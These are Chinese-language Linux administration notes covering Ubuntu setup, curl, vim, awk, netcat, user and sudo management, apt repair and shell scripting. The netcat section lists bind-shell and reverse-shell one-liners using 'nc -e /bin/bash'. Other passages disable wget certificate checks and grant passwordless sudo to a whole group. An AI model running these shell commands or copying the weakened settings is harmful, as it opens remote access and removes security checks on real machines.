系統相關:
ubuntu destop與server版:
確認版本:
systemctl status display-manager
gdm:
systemctl status gdm
ligthdm
systemctl status lightdm,通過命令apt-get install lightdm和dpkg-reconfigure lightdm
destop->server:
方法1:
apt purge ubuntu-desktop -y && sudo apt autoremove -y && sudo apt autoclean
問題:
卸載完ubuntu-destop還能進桌面,只是只有背景,和右鍵的幾個簡單設置。
apt-get remove xserver-xorg-core
問題:
1.開機主界面卡在reached target cloud-init target
解決:touch /etc/cloud/cloud-init.disabled
2.開機卡在Starting Update UTMP about System Runlevel Changes,ssh可以進去,看到display-manager service仍然在跑。
systemctl set-default multi-user.target,會關閉了display-manager service
或者
rm /etc/systemd/system/display-manager.service /etc/systemd/system/display-manager.service.wants/gpu-manager.service
rm /usr/share/xsessions -rf
這個好處是系統的get-default還是graphical.target
可選:
此外還包含一些其他的安裝包,可以對比server版的package。
問題:
1.網絡不可用
重新安裝netplan.io
2.鍵盤不可用
暫未解決
最后問題:
卸載了各種軟件,最后發現關機的時候還是有圖形化界面。開機的時候也還有。問題不大。
方法2,切換模式,不卸載package:
systemctl get-default
systemctl set-default multi-user.target
錯誤方法:
systemctl stop display-manager
systemctl disable display-manager
systemctl disable gdm.service
編輯/etc/default/grub文件也沒有,而且不推薦修改,不方便server和destop切換。
server->destop
systemctl set-default graphical.target
apt install -y ubuntu-desktop
ubuntu內核升降級:
升級:
uname -a
apt update
sudo apt-get install linux-headers-4.15.0-45 linux-headers-4.15.0-45-generic linux-image-4.15.0-45-generic
apt list|grep 4.15.0-45 然后 apt install linux-modules-extra-4.15.0-45-generic linux-tools-4.15.0-45-generic linux-tools-4.15.0-45
reboot
缺少包會導致網絡不可用
如何降級:
進入ubuntu系統時,選擇舊版本的kernel
sudo dpkg -l | grep 4.15.0-45
apt remove xxx | dpkg
查看系統信息:
arch 顯示機器的處理器架構(1)
uname -m 顯示機器的處理器架構(2)
uname -r 顯示正在使用的內核版本
dmidecode -q 顯示硬件系統部件 - (SMBIOS / DMI)
hdparm -i /dev/hda 羅列一個磁盤的架構特性
hdparm -tT /dev/sda 在磁盤上執行測試性讀取操作
cat /proc/cpuinfo 顯示CPU info的信息
cat /proc/interrupts 顯示中斷
cat /proc/meminfo 校驗內存使用
cat /proc/swaps 顯示哪些swap被使用
cat /proc/version 顯示內核的版本
cat /proc/net/dev 顯示網絡適配器及統計
cat /proc/mounts 顯示已加載的文件系統
lspci -tv 羅列 PCI 設備
lsusb -tv 顯示 USB 設備
date 顯示系統日期
cal 2007 顯示2007年的日歷表
date 041217002007.00 設置日期和時間 - 月日時分年.秒
clock -w 將時間修改保存到 BIOS
系統日志:
syslogd運行程序會記錄系統上不同的活動,如sendmail、內核警告等
配置文件
/etc/rsyslogd.conf
常見日志文件:
/var/log/wtmp 包含了用戶的登錄次數和持續時間的二進制信息
/var/run/utmp 包含了目前登錄系統的用戶信息
ubuntu新服務器安裝:
1.mount mkfs掛載盤
2.安裝py2 py3(ubuntu都有) 對應的pip
sudo apt install python3-pip
安裝對應的第三方庫
pipreqs(根據當前目錄下的項目的依賴來導出三方類庫)
pip freeze(本地環境中所有三方包信息)
pip3 freeze > requirements.txt
pip3 install -r requirements.txt
如果報錯,用cat requirements.txt | xargs -n 1 sudo pip3 install
3.安裝git
sudo apt-get update
sudo apt-get install git
4.下載項目
添加ssh公鑰到gitlab的公共賬號(只能pull的一個賬號)上面(可能需要git白名單添加)
git clone ssh項目地址
ubuntu系統備份:
clonezilla:
apt-get install clonezilla
clonezilla
掛載device到/home/partimag目錄
amd64下ap直接安裝,但arm64通過deb安裝,最后發現drbl的依賴syslinux不支持arm64
tar打包:
sudo tar czf /backup.tar.gz --exclude=/backup.tar.gz --exclude=/dev --exclude=/mnt --exclude=/proc --exclude=/sys --exclude=/tmp --exclude=/lost+found /
tar xvpfz backup.tgz -C /
reboot
基本命令:
文件描述符(fd)與重定向:
每個命令執行都會產生三個文件描述符0,1,2
0:標准輸入
1:標准輸出 # 默認是屏幕,ls 1>log.txt,不加1默認是1
2:錯誤輸出 # 默認也是屏幕,lssdd 2>error.log
>>表示追加
ls >log.txt 2>&1 錯誤和輸出都放在log.txt
ls >/dev/null /dev/null所有寫入的內容都會丟失
管道|:
一個操作符,一個命令的輸出作為另一個命令的輸入
echo 123456|passwd --stdin root
與重定向>的區別:
|是標准輸入
>是將結果作為變量輸入
對於sudo echo "hello" > /etc/test權限問題:
方法1:
echo "hello" |sudo tee /etc/test
方法2:
sudo sh -c "echo 'hello' | cat > /etc/test"
curl命令:
訪問網頁 -d 是post請求,多個參數使用&連接,並且要加""把參數引起來
1. 獲取頁面內容
curl http:
2. 顯示 HTTP 頭
curl -I http:
curl -i http:
3. 將鏈接保存到文件
方法一 curl http:
方法二 curl -o index.html http:
方法三 curl -O http:
4. 同時下載多個文件
curl -o page1.html http:
curl -O http:
5. 使用 -L 跟隨鏈接重定向
curl -L http:
6. 使用 -A 自定義 User-Agent
curl -A “Mozilla/5.0 (Android; Mobile; rv:35.0) Gecko/35.0 Firefox/35.0” http:
7. 使用 -H 自定義 header
curl -H “Referer: www.example.com” -H “User-Agent: Custom-User-Agent” http:
curl -H “Cookie: JSESSIONID=D0112A5063D938586B659EF8F939BE24” http:
8. 使用 -c 保存 Cookie
curl -c “cookie-example” http:
9. 使用 -b 讀取 Cookie
-H也可
curl -b “JSESSIONID=D0112A5063D938586B659EF8F939BE24” http:
如果要從文件中讀取 Cookie,-H 就無能為力了,此時可以使用 -b 來達到這一目的:
curl -b “cookie-example” http:
10. 使用 -d 發送 POST 請求
-d 用於指定發送的數據,-X 用於指定發送數據的方式
POST請求
curl -d “userName=tom&passwd=123456” -X POST http:
在使用 -d 的情況下,如果省略 -X,則默認為 POST 方式:
curl -d “userName=tom&passwd=123456” http:
GET請求
curl -d “somedata” -X GET http:
或者使用 -G 選項:
curl -d “somedata” -G http:
從文件中讀取 data
curl -d “@data.txt” http:
取得HTTP返回的狀態碼
curl -I -m 10 -o /dev/null -s -w %{http_code} www.baidu.com
-V
curl失敗退出:
curl -f -v -s -X GET "https://${HARBOR_REGISTRY}:8443/api/v2.0/projects/${DOCKER_HARBOR_LIBRARY}/repositories" -H 'Content-Type: application/json' -k -u admin:${HARBOR_ADMIN_PASSWORD} > /dev/null && echo "\nharbor has been already!\n" && return
grep:
文本內容查找命令
grep root /etc/passwd
cat /etc/log |grep log
-c匹配的行數量 -i不分大小寫 -n額外顯示行號 -v打印不匹配的行 >寫到哪個文件 -q判斷是否存在,不返回結果
-C n 顯示匹配位置前后n行 -A 后 -B 前
-o 按行顯示匹配結果
-E 'pattern1|pattern2'
-e pattern1 -e pattern2
支持正則表達式 ^ $ . * ^$空白行
例子:
grep -V "^$" /etc/bashrc > /etc/bashrc.bak
tar -cvf conf.tar /etc/*
tar -tvf conf.tar|grep yum.repos.d
vim:
命令模式:i:光標前 a:光標后 o:新行 zz:保存並退出
編輯模式:
末行模式(命令模式下輸入:):w保存,wq保存退出,q不保存退出,wq!強制保存,q!強制不保存退出
e編輯其他文件 r寫入其他文件 !執行shell命令並切換至屏幕 r!執行shell命令並輸出至文件
移動:h左 j下 k上 l右
翻頁:ctrl+f 向尾翻 ctrl+b 向頭翻
移動:gg首行 G尾行 Ngg第N行 ^當前行的開頭 $當前行的結尾
w:移動到單詞的結尾 b:移動到單詞開頭,0(零):移到到該行開頭,$:移到到行末尾
搜索:
鍵入/
向前搜索 ?
剪切:dd Ndd
復制:yy Nyy y$ 復制至光標末尾
粘貼:p 插入后面 P 插入前面
撤銷:u(undo)
刪除:x 刪除光標下字符 dw 刪除單詞 d$ 刪除光標位置知道行尾
替換:R:替換模式 r:替換單一字符后回到命令模式
其他:w 文件名:另存;N:移動到第N行;set nu:顯示行號
緩存:rm .*.swp
自定義配置:yum install lrzsz vim ~/.vimrc
技巧:
1.:[x,y[s/pattern/replacement/flags
如
:1,10s/a/A
%代表整個文件,$文件最后一行,空白表示目前所在那一行
flags:
默認情況下替換第一個匹配的
g:替換每行中每一個出現的pattern
s:替換前每次詢問
2.標記
移到光標到某一行,鍵入m+字母,即可標為該行為該字母
使用:
'a 移到標記處
`a 移到標記時光標所在的位置
示例:
:'a,.s/w/W
3.寄存器
名稱是單一字母,a-z A-Z 如"a
方法:
"ayy 復制當前行
"ap 粘貼
"ay`a 復制光標位置到標記a的文字
技巧:
:e 編輯新文件,可以使用寄存器
4.執行其他命令
:x,y!command
5.擴展
:set命令
如:set ai可以開啟文字自動縮排的功能(:set noai)
能夠在~/.vimrc(可能其他類似名字)寫入,每次自動加載
6.小鍵盤不能正常使用
xshell的問題,網頁則不會
設置:
xshell編輯屬性:在類別中選擇“VT模式”,然后在右側的選項中,選擇:初始數字鍵盤模式中的“設置為普通”
EOF用法:
cat << EOF > /tmp/yourfilehere
These contents will be written to the file.
This line is indented.
EOF
wget提示證書問題:
docker的container內出現,加上
原因:
發現openssl的具體信息不一致apt show openssl和openssl version -a查看具體的platform
之前一個鏡像的系統版本是ubuntu:18.04.4,platform為linux-aarch64。而18.04.5的為debian-arm64。OPENSSLDIR和ENGINESDIR等參數也不同
解決:
container退出后再登錄,發現openssl version -a的platform變為debian-arm64,這樣就沒問題了。
有可能是底層鏡像變化了。期間有操作過docker pull ubuntu:18.04可能更新了底層
臨時解決方法:
echo "check_certificate = off" >> ~/.wgetrc
指定參數也行:
wget https://www.baidu.com
其他方案:
apt安裝的是linux-aarch64,那么源碼編譯openssl,./Configure debian-arm64,但提示平台不支持
update-ca-certificates -f
df命令卡住問題:
如果掛載的文件系統無法訪問,df命令就會卡住,這個時候就需要強制卸載掛載點。
NFS服務器關了,這邊客戶端就會卡死 umount -fl /mnt
如果發現正忙,殺死所有占用的進程: fuser -uck /mnt
進階命令:
awk命令:
概述:
行處理器,處理過程: 依次對每一行進行處理,然后輸出
awk [-F|-f|-v] ‘BEGIN{}
[-F|-f|-v] 大參數,-F指定分隔符,-f調用腳本,-v定義變量 var=value
' ' 引用代碼塊
BEGIN 初始化代碼塊,在對每一行進行處理之前,初始化代碼,主要是引用全局變量,設置FS分隔符
{} 命令代碼塊,包含一條或多條命令
; 多條命令使用分號分隔
END 結尾代碼塊,在對每一行進行處理之后再執行的代碼塊,主要是進行最終計算或輸出結尾摘要信息
特殊要點:
$0 表示整個當前行
$1 每行第一個字段
NF 字段數量變量
NR 每行的記錄號,多文件記錄遞增
FNR 與NR類似,不過多文件記錄不遞增,每個文件都從1開始
\t 制表符
\n 換行符
FS BEGIN時定義分隔符
RS 輸入的記錄分隔符, 默認為換行符(即文本是按一行一行輸入)
~ 匹配,與==相比不是精確比較
!~ 不匹配,不精確比較
== 等於,必須全部相等,精確比較
!= 不等於,精確比較
&& 邏輯與
|| 邏輯或
+ 匹配時表示1個或1個以上
/[0-9][0-9]+/ 兩個或兩個以上數字
/[0-9][0-9]*/ 一個或一個以上數字
FILENAME 文件名
OFS 輸出字段分隔符, 默認也是空格,可以改為制表符等
ORS 輸出的記錄分隔符,默認為換行符,即處理結果也是一行一行輸出到屏幕
-F'[:#/]' 定義三個分隔符
示例:
1.多行求和。
cat ph_user_level.log |grep -o "length [0-9]\+"|grep -o "[0-9]\+"|awk '{sum+=$1} END {print sum}'
cat ph_user_level.log |grep -o "calculate score taken [0-9]\+.[0-9]\+"|grep -o "[0-9]\+.[0-9]\+"|awk '{sum+=$1} END {print sum}'
grep中的正則表達式要\轉義
makefile編譯:
結構:
TARGET … : DEPENDENCIES …
COMMAND
說明:
TARGET:代表我們生產的目標文件
DEPENDENCIES:是用來產生目標的輸入文件,一個目標通常依賴於多個文件。
COMMAND:命令行
makefile的另外一個規則就是最終目標必須寫在第一行
如果Make命令運行時沒有指定目標,默認會執行Makefile文件的第一個目標。
netcat命令:
server:
nc -v -l 127.0.0.1 6000
client:
nc -v -p 5000 localhost 6000
telnet也可以
參數介紹:
-g<網關>:設置路由器躍程通信網關,最多設置8個;
-G<指向器數目>:設置來源路由指向器,其數值為4的倍數;
-h:在線幫助;
-i<延遲秒數>:設置時間間隔,以便傳送信息及掃描通信端口;
-l:使用監聽模式,監控傳入的資料;
-n:直接使用ip地址,而不通過域名服務器;
-o<輸出文件>:指定文件名稱,把往來傳輸的數據以16進制字碼傾倒成該文件保存;
-p<通信端口>:設置本地主機使用的通信端口;
-r:指定源端口和目的端口都進行隨機的選擇;
-s<來源位址>:設置本地主機送出數據包的IP地址;
-u:使用UDP傳輸協議;
-v:顯示指令執行過程;
-w<超時秒數>:設置等待連線的時間;
-z:使用0輸入/輸出模式,只在掃描通信端口時使用。
常用場景:
判斷端口是否開放:
nc -z 127.0.0.1 6379
nc -z -v -n 192.168.1.1 21-25
nc -w 10 localhost 2389
監聽端口:
nc -l 80
文件傳輸:
nc -l 20000 < file.txt
nc -n 192.168.1.1 20000 > file.txt
tar -cvf – dir_name | nc -l 20000
nc -n 192.168.1.1 20000 | tar -xvf -
遠程打開shell
nc -l 20000 -e /bin/bash -i
nc 192.168.1.1 20000
反向shell
反向shell是指在客戶端打開的shell。
nc -l 20000
nc 192.168.1.1 20000 -e /bin/bash
xargs命令:
xargs 是給命令傳遞參數的一個過濾器,也是組合多個命令的一個工具。
xargs 可以將管道或標准輸入(stdin)數據轉換成命令行參數,也能夠從文件的輸出中讀取數據。
xargs 也可以將單行或多行文本輸入轉換為其他格式,例如多行變單行,單行變多行。
xargs 默認的命令是 echo,這意味着通過管道傳遞給 xargs 的輸入將會包含換行和空白,不過通過 xargs 的處理,換行和空白將被空格取代。
xargs 是一個強有力的命令,它能夠捕獲一個命令的輸出,然后傳遞給另外一個命令。
命令格式:
somecommand |xargs -item command
參數:
-a file 從文件中讀入作為sdtin
-e flag ,注意有的時候可能會是-E,flag必須是一個以空格分隔的標志,當xargs分析到含有flag這個標志的時候就停止。
-p 當每次執行一個argument的時候詢問一次用戶。
-n num 后面加次數,表示命令在執行的時候一次用的argument的個數,默認是用所有的。
管道傳過來的每一個單詞(默認空格分割,可指定)都算一個argument
-n指定每次傳多少個argument
-t 表示先打印命令,然后再執行。
-i 或者是-I,這得看linux支持了,將xargs的每項名稱,一般是一行一行賦值給 {},可以用 {} 代替。
-r no-run-if-empty 當xargs的輸入為空的時候則停止xargs,不用再去執行了。
-s num 命令行的最大字符數,指的是 xargs 后面那個命令的最大命令行字符數。
-L num 從標准輸入一次讀取 num 行送給 command 命令。
-l 同 -L。
-d delim 分隔符,默認的xargs分隔符是回車,argument的分隔符是空格,這里修改的是xargs的分隔符。
-x exit的意思,主要是配合-s使用。。
-P 修改最大的進程數,默認是1,為0時候為as many as it can ,這個例子我沒有想到,應該平時都用不到的吧。
遍歷pod拉取鏡像:
li=`kg pod -A |grep Running |awk '{print $2,"-n",$1}' | xargs -n3 kubectl get pod -o yaml|grep "image: harbor.apulis"`
for one in $li;do docker tag $one kelvin0486/`echo $one|rev|cut -d/ -f1|rev`;docker push kelvin0486/`echo $one|rev|cut -d/ -f1|rev`;done
screen命令:
新建:
screen
screen -S name
退出\離線:
-d <作業名稱> 將指定的screen作業離線。新開一個shell再執行。
重新進入:
screen -r xxx
-R 先試圖恢復離線的作業。若找不到離線的作業,即建立新的screen作業。
-x 恢復之前離線的screen作業。
清理:
screen -wipe
殺掉screen:
kill -9 name
cut命令:
字符串分割
string="hello,shell,split,test"
array=(${string//,/ })
for var in ${array[@]}
do
echo $var
done
A="$(cut -d'_' -f2 <<<'one_two_three_four_five')"
echo "$A"
two
示例:
cat docker-compose.yml |grep image | cut -d':' -f 2-
cat docker-compose.yml |grep image | cut -d':' -f 2- |xargs -n 1 docker pull
用戶:
查看用戶:
id -u用戶id
uid
gid:初始組,自動創建
groups:一個用戶多個組
cat /etc/passwd czl:x:501:501::/home/czl:/bin/bash
user id:password:uid:gid:userinfo:home dir:shell /bin/bash允許登錄 /sbin/nologin無法登錄
cat /etc/group bin:x:1:bin,daemon
group name:group passwd:gid:group list
用戶管理:
useradd[參數][用戶名]
區別:
useradd如果不輸入命令,默認不創建home目錄,shell版本,密碼
adduser則會交互式提醒輸入,當然可以直接命令行指定
adduser --force-badname --home /home/${DLWS_USER_NAME} --shell /bin/bash --uid ${DLWS_UID} -gecos '' --gid ${DLWS_GID} --disabled-password ${DLWS_USER_NAME}
adduser --force-badname --home /home/czl --shell /bin/bash -gecos '' czl
adduser czl sudo
usermod -p $(echo ${DLTS_JOB_TOKEN} | openssl passwd -1 -stdin) ${DLWS_USER_NAME}
-d 指定home目錄
-g 指定gid
-G 指定所屬組列表
usermod 修改 -d -g 追加組-a -G
userdel 刪除 -r
修改uid:編輯/etc/passwd,然后chown改變原先文件的擁有者即可 chown -R test /home/test
用戶切換:
su 用戶名 不加任何用戶名稱時,默認切換root用戶
群組操作:
newgrp:
使用后啟動新的shell,在離開這個shell之前都暫時屬於該群組
沒有密碼或者*不能加入
groupadd[參數][組名] 添加組
可通過groups查看所在群組
用途:文件權限划分,特殊硬件(如掃描器)的讀取權限
groupmod
密碼:
查看密碼:
cat /etc/shadow 密文形式,而/etc/passwd存放的密碼一般是x或者*(停用了),稱為影子口令,防止撞庫
修改密碼:
passwd user
sudo權限配置:
cat /etc/sudoers czl ALL=(ALL) NOPASSWD:ALL 記得不要被組的設置給覆蓋了,導致nopasswd不生效
/etc/sudoers.d/90-cloud-init-users 亞馬遜配置
配置sudo命令的PATH環境變量
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
執行sudo時,出於安全的考慮,這個程序將在新的、最小化的環境中執行,PATH會與當前用戶的環境變量不一樣,而是配置的
命令行設置:
adduser $DLWS_USER_NAME sudo
echo '%sudo ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
關於sudoers修改錯誤的修復:
1.停掉實例
2.創建一個可用區相同的新實例(創建時選擇子區),運行,登陸
3.detch舊實例的卷,掛載到新實例上
4.登陸新實例,進行操作
sudo mkdir bad
sudo mount /dev/xvdf /bad
這個時候可以對舊實例的數據進行修改了
sudo umount /bad
5.收尾操作即可
文件權限:
概述:
dr-xr-xr-x. 2 root root 4096 Aug 23 07:39 bin
文件數 所屬用戶 組 大小 日期 文件名
常用文件類型:
-普通文件
d目錄文件
l鏈接文件
b塊設備文件
c字符設備文件
p管道文件
顏色:
綠色:可執行文件
紅色:壓縮
藍色:文件夾
淺藍:鏈接
白色:一般性
ln -s 源文件 目標文件
紅色:鏈接有問題
黃色:設備
灰色:其他文件
file + 查看屬性
權限以三個字符為一組,第一組表示所屬用戶的權限,第二是所屬組,第三是其他組
r:4可讀 w:2可寫 x:1可執行 - 無權限
rwx=7 rw=6 rx=5
改變權限:
chmod 704 /xx/xx -R 父目錄權限也隨之改
chmod o-r /xx/xx chmod ug+rwx /xx/xx
u g o 分別是用戶,組,其他組
+ - = 分別是增加、去掉、賦值
r w x
查看:
ls -l 查看目錄下文件
文件的類型
文檔所有者的權限
與所有者同在一個組的用戶的權限情況
其他用戶的權限情況
文件硬鏈接數
文件(目錄)擁有者
文件(目錄)擁有者所在的組
文件所占用的空間(以字節為單位)
文件(目錄)最近訪問(修改)時間
文件(目錄)名
ls -ld 查看目錄本身
目錄的r權限:能夠讀該目錄下的文件列表,查看權限需要先有x。
目錄的w權限:能夠新建,刪除,修改,移動目錄內文件的權限,需要先有x。
目錄的x權限:能夠進入
1、目錄的只讀訪問不允許使用cd進入目錄,必須要有執行的權限才能進入。
2、只有執行權限只能進入目錄,不能看到目錄下的內容,要想看到目錄下的文件名和目錄名,需要可讀權限。
3、一個文件能不能被刪除,主要看該文件所在的目錄對用戶是否具有寫權限,如果目錄對用戶沒有寫權限,則該目錄下的所有文件都不能被刪除,文件所有者除外
4、目錄的w位不設置,即使你擁有目錄中某文件的w權限也不能寫該文件
硬鏈與軟鏈:
在Linux系統中,內核為每一個新創建的文件分配一個Inode(索引結點),每個文件都有一個惟一的inode號。
文件屬性保存在索引結點里,在訪問文件時,索引結點被復制到內存里,從而實現文件的快速訪問。
硬鏈:
硬鏈接說白了是一個指針,指向文件索引節點,系統並不為它重新分配inode。可以用:ln命令來建立硬鏈接。
硬連接的作用是允許一個文件擁有多個有效路徑名,這樣用戶就可以建立硬連接到重要文件,以防止“誤刪”的功能。
其原因如上所述,因為對應該目錄的索引節點有一個以上的連接。
只刪除一個連接並不影響索引節點本身和其它的連接,只有當最后一個連接被刪除后,文件的數據塊及目錄的連接才會被釋放。
軟鏈:
軟鏈接文件有類似於Windows的快捷方式。它實際上是一個特殊的文件。在符號連接中,文件實際上是一個文本文件,其中包含的有另一文件的位置信息。
文件硬鏈接數為0的情況:
lsof directory查看不了任何占用
lsblk可以看到掛載了該個目錄
mount|grep profiling
/dev/sda3 on /var/log/npu/profiling type ext4 (rw,relatime,errors=remount-ro,data=ordered)
推測可能是error后remount-ro導致的。
umounnt /var/log/npu/profiling后正常
修改所屬:
chown user:組 文件
chgrp user:組 文件
內容操作:
cp 拷貝
mv
rm刪除文件 -r刪除目錄 -f強制 rmdir刪除空目錄
> 文件名 清空
查找:
find / -name *.*
find / -type 類型參數,如l
find / -perm 777 權限查找
find / -type f -user root -exec chown tom {}\;后面是固定格式 -exec是要執行
find / -mtime 0 表示當天 +1表示1天前
軟件安裝:
概述:
centos系統:yum安裝的都是rpm已編譯好的程序包就是多個 rpm -ivh 名字 rpm -e 卸載 rpm -a 查詢 -qi 版本信息 -qR依賴庫
ubuntu系統:apt與dkpg命令
手動編譯:
wget *.tgz 或 curl -OL
tar -zxvf *.tgz
cd 進入目錄
./configure --prefix=指定安裝目錄 檢測平台特征
make
make install
make clean 出現問題重新編譯
對於apt安裝報錯的解決:
1.安裝提示processing錯誤的依賴列表,嘗試sudo apt remove掉
sudo apt autoclean 將已經刪除了的軟件包的.deb安裝文件從硬盤中刪除
sudo apt clean 刪除包緩存中的所有包
sudo apt autoremove -f 刪除為了滿足其他軟件包的依賴而安裝的,但現在不再需要的軟件包。(如果安裝其他軟件也報錯,嘗試這個)
然后sudo apt install -f 根據提示是否進行sudo apt-get upgrade
apt-get
sudo apt-get update
sudo apt-get upgrade
2.對於提示dh-python : Depends: python3:any (>= 3.3.2-2~)的,自己編譯源碼然后ln python3到自己的python3地址
3.卸載docker時出錯的解決
sudo rmdir /var/lib/dpkg/available
sudo touch /var/lib/dpkg/available
sudo rm /var/lib/dpkg/status
sudo cp /var/backups/dpkg.status.1.gz /var/lib/dpkg/
cd /var/lib/dpkg/
sudo gunzip dpkg.status.1.gz
sudo mv dpkg.status.1 status
apt-get update
dpkg不能正常工作:
cd /var/lib/dpkg/
sudo mv info info.bak
sudo mkdir info
sudo apt-get update
sudo apt-get -f install
sudo mv ./info/*./info.bak
sudo rm -r info
sudo mv info.bak info
apt下載不同架構的deb包:
sudo dpkg --add-architecture arm64
sudo vi /etc/apt/sources.list
# source urls for arm64
deb [arch=arm64] http:
deb [arch=arm64] http:
deb [arch=arm64] http:
deb [arch=arm64] http:
deb [arch=arm64] http:
deb [arch=arm64] http:
deb [arch=arm64] http:
apt-get update
apt-get install package:architecture
apt下載指定包到本地,包括依賴
apt-cache depends xxx
apt download xxx
apt install -d 和apt download的區別:
1.apt-get -d install明確需要root權限,而apt-get download不用
2.apt-get -d保存.deb於/var/cache/apt/archives,而apt-get download保存在當前路徑
3.apt-get download更新
安裝python3:
先安裝pip依賴包
yum install openssl-devel -y
yum install gcc
yum install zlib
yum install zlib-devel
yum install libffi-devel -y
django依賴
yum install sqlite-devel
wget https://www.python.org/ftp/python/3.6.8/Python-3.6.8.tgz
tar -xvf Python-3.6.8.tgz
mkdir /usr/local/python3
進入文件夾
./configure
make && make install
mv /usr/bin/python /usr/bin/python_bak
ln -s /usr/local/python3/bin/python3 /usr/bin/python
ln -s /usr/local/python3/bin/pip3 /usr/bin/pip
切換至root用戶修改yum文件,vim /usr/bin/yum 修改第一行為python2
安裝pip
wget
tar -zxvf setuptools-19.6.tar.gz
cd setuptools-19.6
python3 setup.py build
python3 setup.py install
wget
tar -zxvf pip-8.0.2.tar.gz
cd pip-8.0.2
python3 setup.py build
python3 setup.py install
python3 setup.py install
在20.04上安裝python2
apt update
apt install python2
curl https://bootstrap.pypa.io/get-pip.py
python2 get-pip.py
pip如何下載不同的包:
--platform=aarch64 --no-deps
關閉apt自動upgrade
編輯/etc/apt/apt.conf.d/20auto-upgrades
APT::Periodic::Update-Package-Lists "0";
APT::Periodic::Unattended-Upgrade "0";
編輯/etc/apt/apt.conf.d/10periodic
APT::Periodic::Update-Package-Lists "0";
APT::Periodic::Download-Upgradeable-Packages "0";
APT::Periodic::AutocleanInterval "0";
命令:
sed -i 's/APT::Periodic::Update-Package-Lists "1"/APT::Periodic::Update-Package-Lists "0"/' /etc/apt/apt.conf.d/20auto-upgrades
shell語言:
概述:
操作系統之上的軟件
種類:
bash:shell的擴展,並且完全兼容shell(vim\vi)
csh:
ksh:
sh:原始的shell,不提供編輯命令行功能
shell script:
就是shell命令的函數用法,.sh文件后綴 sh + xx.sh允許
which sh看到sh執行路徑,$PATH:配置默認執行命令的解析器路徑,順序搜索到后執行
修改luffy.sh 644為755即可路徑執行 /root/luffy/.sh 或./luffy.sh
常用按鍵和用法:
ctrl+u:刪除整行命令
ctrl+t:交換光標與光標前一位字母的位置
變量:
字母,下划線開頭
引用:需加$符號,{}可以幫助解釋器識別變量的邊界
雙引號:變量賦值可用不加引號,如果中間有空格,則一定要加;變量引用可放在雙引號里
單引號:引號內的變量不會替換
位置變量:
$n 代表輸入的第n個參數,0是命令本身,1-9
$* 代表輸入的所有參數
$
$? 代表上一次命令的返回結果,0表示成功,其他表示失敗
命令替換和賦值:
$(cmd) 或者`
命令替換是一個命令的輸出作為另一個命令的參數,而管道將輸出作為下一個命令的標准輸入0
$PATH:
系統啟動會自帶一些變量
運算符:
邏輯運算符:
&& 前面命令執行完且成功執行后面命令
|| 前面命令執行有問題才執行后面命令,可用echod && echo ok || echo error
算術:
$(($i+$j))
$((1+2)) 結果是一個變量
命令分隔符:
條件:
用[ ]括起來,另外[ ]里外都需要用空格與周圍隔開
if [ 表達式 ];then ;fi
if command;then ;fi
-eq 測試兩個整數是否相等
-ne 測試兩個整數是否不等
-gt 測試一個數是否大於另一個數
-lt 測試一個數是否小於另一個數
-ge 大於或等於
-le 小於或等於
字符串測試(兩邊要有空格)
== 等於
!= 不等
> 大於
< 小於
-z string 測試指定字符是否為空,空着真,非空為假
-n string 測試指定字符串是否為不空,空為假 非空為真
文件測試
-e FILE 測試文件是否存在
-f file 測試文件是否為普通文件
-d file 測試指定路徑是否為目錄
-r file 測試文件對當前用戶是否可讀
-w file 測試文件對當前用戶是否可寫
-x file 測試文件對當前用戶是都可執行
組合測試
-a: and
-o: or
!: 非
if判斷文件是否存在
if [ 表達式 ];then ;fi
文件:
if test -f c ;then echo 111;fi
if [ -f /etc/bash.bashrc ] ;then echo 111;fi [和test是等同的。
目錄:
if [ ! -d "/myfolder" ]; then
判斷變量是否為空
if [ ! -z $host ];then echo 111;fi
判斷字符串相等
if [ ! -z $host ] && [ "$host" = "worker-1" ];then echo 111;fi
判斷命令是否存在:
if ! [ -x "$(command -v sudo)" ] ; then 已存在
if ! command -v istioctl &> /dev/null; then echo 不存在;fi
循環:
for arg in [list];do command;done
while [condition];do command;done
until [];do command;done
輸入:
read 變量名:輸入字符串並賦值給該變量 -p 提示信息
例子:while read -p "please input a name" name; do echo $name $RANDOM; done
函數:
function name ()
{
}
可以加return返回值,也可以不帶,如果不帶就以最后一條命令運行結果,作為返回值。
數組操作:
定義:
a=(a b "c")
切片:
choice_run_func=("${run_func[@]:1}")
choice_run_func=("${run_func[@]:1:2}")
遍歷:
for i in "${!run_func[@]}";do
echo "`expr $i + 1` . ${run_func[$i]}"
done
shell如何import函數
foo() {
echo foo $1
}
main() {
foo 1
foo 2
}
if [ "${1}" != "--source-only" ]; then
main "${@}"
fi
然后另一個腳本
. ./script.sh --source-only
foo 3
文件傳輸:
SCP命令:
scp local_file remote_username@remote_ip:remote_folder 需要輸入密碼,如果是ssh會失敗
scp -r /home/jack/ root@192.168.xxx:xxx:/home/jihao -r目錄
sftp命令:
交互式文件傳輸程式,要求ip(內外都可)能夠ping通
連接
sftp username@remote ip(or remote host name)
sftp -oPort=2222 chenzl@52.77.87.141 再輸入堡壘機密碼
上傳
put /path/filename(本地主機) /path/filename(遠端主機)
下載
get /path/filename(遠端主機) /path/filename(本地主機)
-r
在sftp的環境下的操作就和一般ftp的操作類似了,ls,rm,mkdir,dir,pwd,等指令都是對遠端進行操作,
如果要對本地操作,只需在上述的指令上加‘l’變為:lls,lcd, lpwd等
scp ./pinggu_google.tar.gza* dlwsadmin@apulis-china-infra01.sigsus.cn:/mntdlws/nfs
速度要比sftp要快
rz\sz命令:
安裝:
yum install -y lrzsz
使用:
sz filename
rz
掛載網盤:
掛載nfs盤,然后直接cp,速度也比較慢,但速度應該比scp快
需要開通111 2049 4046外網端口
打tar包,然后cp,解壓
端口:
查看端口占用:
lsof -i :8000
kill -9 pid
-9 強制終止
-15 終止SIGTERM
-18 繼續
-19 暫停
netstat -tunlp
-a (all)顯示所有選項,默認不顯示LISTEN相關,如time_wait,established,listening,connected等
-t (tcp)僅顯示tcp相關選項
-u (udp)僅顯示udp相關選項
-n 拒絕顯示別名,能顯示數字的全部轉化成數字。
-l 僅列出有在 Listen (監聽) 的服務狀態
-p 顯示建立相關鏈接的程序名
-r 顯示路由信息,路由表
-e 顯示擴展信息,例如uid等
-s 按各個協議進行統計
-c 每隔一個固定時間,執行該netstat命令。
端口開放:
iptables -I INPUT 1 -p tcp -m state --state NEW -m tcp --dport 6379 -j ACCEPT
查看本地端口狀態:
netstat命令:
